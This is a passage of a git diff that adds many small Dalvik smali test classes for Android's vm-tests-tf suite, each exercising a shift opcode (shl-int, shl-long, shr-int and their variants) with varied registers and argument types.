+.method public run(II)I
+.registers 8
+
+       shl-int v0, v5, v7
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_6.smali
new file mode 100644
index 0000000..d93ea00
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int/d/T_shl_int_6.smali

@@ -0,0 +1,18 @@
+.source "T_shl_int_6.java"
+.class  public Ldot/junit/opcodes/shl_int/d/T_shl_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 8
+
+       shl-int v0, v6, v7
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_1.smali
new file mode 100644
index 0000000..02b664a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_1.smali

@@ -0,0 +1,18 @@
+.source "T_shl_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shl-int/2addr v6, v7
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_2.smali
new file mode 100644
index 0000000..0782123
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_2.smali

@@ -0,0 +1,18 @@
+.source "T_shl_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shl-int/2addr v7, v8
+       return v7
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_3.smali
new file mode 100644
index 0000000..3ddb939
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_3.smali

@@ -0,0 +1,18 @@
+.source "T_shl_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)I
+.registers 8
+
+       shl-int/2addr v5, v7
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_4.smali
new file mode 100644
index 0000000..c011b9b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_4.smali

@@ -0,0 +1,18 @@
+.source "T_shl_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       shl-int/2addr v5, v7
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_5.smali
new file mode 100644
index 0000000..54c18b7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_5.smali

@@ -0,0 +1,18 @@
+.source "T_shl_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shl-int/2addr v5, v7
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_6.smali
new file mode 100644
index 0000000..167c5a5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_6.smali

@@ -0,0 +1,18 @@
+.source "T_shl_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/shl_int_2addr/d/T_shl_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 8
+
+       shl-int/2addr v6, v7
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_1.smali
new file mode 100644
index 0000000..2ff9468
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_1.smali

@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_1.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shl-int/lit8 v0, v7, 1
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_10.smali
new file mode 100644
index 0000000..eb4f43a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_10.smali

@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_10.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       shl-int/lit8 v0, v5, 2
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_2.smali
new file mode 100644
index 0000000..edc7d7c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_2.smali

@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_2.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shl-int/lit8 v0, v7, 2
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_3.smali
new file mode 100644
index 0000000..601bbbb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_3.smali

@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shl-int/lit8 v0, v7, -1
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_4.smali
new file mode 100644
index 0000000..a0e3617
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_4.smali

@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shl-int/lit8 v0, v7, 33
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_5.smali
new file mode 100644
index 0000000..7c78619
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_5.smali

@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shl-int/lit8 v0, v7, 0
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_6.smali
new file mode 100644
index 0000000..b622e45
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_6.smali

@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 8
+
+       shl-int/lit8 v0, v7, 1
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_7.smali
new file mode 100644
index 0000000..64a27c2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_7.smali

@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       shl-int/lit8 v0, v8, 2
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_8.smali
new file mode 100644
index 0000000..48d6000
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_8.smali

@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       shl-int/lit8 v0, v6, 2
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_9.smali
new file mode 100644
index 0000000..573bab1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_9.smali

@@ -0,0 +1,18 @@
+.source "T_shl_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/shl_int_lit8/d/T_shl_int_lit8_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       shl-int/lit8 v0, v6, 2
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_1.smali
new file mode 100644
index 0000000..ee483f77
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_1.smali

@@ -0,0 +1,18 @@
+.source "T_shl_long_1.java"
+.class  public Ldot/junit/opcodes/shl_long/d/T_shl_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shl-long v0, v8, v10
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_2.smali
new file mode 100644
index 0000000..0247229
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_2.smali

@@ -0,0 +1,18 @@
+.source "T_shl_long_2.java"
+.class  public Ldot/junit/opcodes/shl_long/d/T_shl_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shl-long v0, v8, v11
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_3.smali
new file mode 100644
index 0000000..08babca
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_3.smali

@@ -0,0 +1,18 @@
+.source "T_shl_long_3.java"
+.class  public Ldot/junit/opcodes/shl_long/d/T_shl_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 11
+
+       shl-long v0, v7, v9
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_4.smali
new file mode 100644
index 0000000..2b3abcc
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_4.smali

@@ -0,0 +1,18 @@
+.source "T_shl_long_4.java"
+.class  public Ldot/junit/opcodes/shl_long/d/T_shl_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)J
+.registers 11
+
+       shl-long v0, v9, v10
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_5.smali
new file mode 100644
index 0000000..a754ea5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_5.smali

@@ -0,0 +1,18 @@
+.source "T_shl_long_5.java"
+.class  public Ldot/junit/opcodes/shl_long/d/T_shl_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)J
+.registers 11
+
+       shl-long v0, v9, v10
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_6.smali
new file mode 100644
index 0000000..01b2e91
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_6.smali

@@ -0,0 +1,18 @@
+.source "T_shl_long_6.java"
+.class  public Ldot/junit/opcodes/shl_long/d/T_shl_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shl-long v0, v7, v10
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_7.smali
new file mode 100644
index 0000000..f7e48ea
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long/d/T_shl_long_7.smali

@@ -0,0 +1,18 @@
+.source "T_shl_long_7.java"
+.class  public Ldot/junit/opcodes/shl_long/d/T_shl_long_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)J
+.registers 11
+
+       shl-long v0, v8, v10
+       return-wide v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_1.smali
new file mode 100644
index 0000000..07e2242
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_1.smali

@@ -0,0 +1,18 @@
+.source "T_shl_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shl-long/2addr v8, v10
+       return-wide v8
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_2.smali
new file mode 100644
index 0000000..c6882e1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_2.smali

@@ -0,0 +1,18 @@
+.source "T_shl_long_2addr_2.java"
+.class  public Ldot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shl-long/2addr v8, v11
+       return-wide v8
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_3.smali
new file mode 100644
index 0000000..92cbc84
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_3.smali

@@ -0,0 +1,18 @@
+.source "T_shl_long_2addr_3.java"
+.class  public Ldot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 11
+
+       shl-long/2addr v7, v9
+       return-wide v7
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_4.smali
new file mode 100644
index 0000000..0aca40d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_4.smali

@@ -0,0 +1,18 @@
+.source "T_shl_long_2addr_4.java"
+.class  public Ldot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)J
+.registers 11
+
+       shl-long/2addr v9, v10
+       return-wide v9
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_5.smali
new file mode 100644
index 0000000..196e347
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_5.smali

@@ -0,0 +1,18 @@
+.source "T_shl_long_2addr_5.java"
+.class  public Ldot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)J
+.registers 11
+
+       shl-long/2addr v9, v10
+       return-wide v9
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_6.smali
new file mode 100644
index 0000000..6407de0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_6.smali

@@ -0,0 +1,18 @@
+.source "T_shl_long_2addr_6.java"
+.class  public Ldot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)J
+.registers 11
+
+       shl-long/2addr v7, v10
+       return-wide v7
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_7.smali
new file mode 100644
index 0000000..0607e41
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_7.smali

@@ -0,0 +1,18 @@
+.source "T_shl_long_2addr_7.java"
+.class  public Ldot/junit/opcodes/shl_long_2addr/d/T_shl_long_2addr_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)J
+.registers 11
+
+       shl-long/2addr v8, v10
+       return-wide v8
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_1.smali
new file mode 100644
index 0000000..0ff376d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_1.smali

@@ -0,0 +1,18 @@
+.source "T_shr_int_1.java"
+.class  public Ldot/junit/opcodes/shr_int/d/T_shr_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shr-int v0, v6, v7
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_2.smali
new file mode 100644
index 0000000..1e892d6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_2.smali

@@ -0,0 +1,18 @@
+.source "T_shr_int_2.java"
+.class  public Ldot/junit/opcodes/shr_int/d/T_shr_int_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shr-int v0, v6, v8
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_3.smali
new file mode 100644
index 0000000..b430db2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_3.smali

@@ -0,0 +1,18 @@
+.source "T_shr_int_3.java"
+.class  public Ldot/junit/opcodes/shr_int/d/T_shr_int_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(DI)I
+.registers 8
+
+       shr-int v0, v5, v7
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_4.smali
new file mode 100644
index 0000000..4f40160
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_4.smali

@@ -0,0 +1,18 @@
+.source "T_shr_int_4.java"
+.class  public Ldot/junit/opcodes/shr_int/d/T_shr_int_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       shr-int v0, v5, v7
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_5.smali
new file mode 100644
index 0000000..1838f89
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_5.smali

@@ -0,0 +1,18 @@
+.source "T_shr_int_5.java"
+.class  public Ldot/junit/opcodes/shr_int/d/T_shr_int_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       shr-int v0, v5, v7
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_6.smali
new file mode 100644
index 0000000..255dff8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int/d/T_shr_int_6.smali

@@ -0,0 +1,18 @@
+.source "T_shr_int_6.java"
+.class  public Ldot/junit/opcodes/shr_int/d/T_shr_int_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 8
+
+       shr-int v0, v6, v7
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_1.smali
new file mode 100644
index 0000000..e7de460
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_1.smali

@@ -0,0 +1,18 @@
+.source "T_shr_int_2addr_1.java"
+.class  public Ldot/junit/opcodes/shr_int_2addr/d/T_shr_int_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
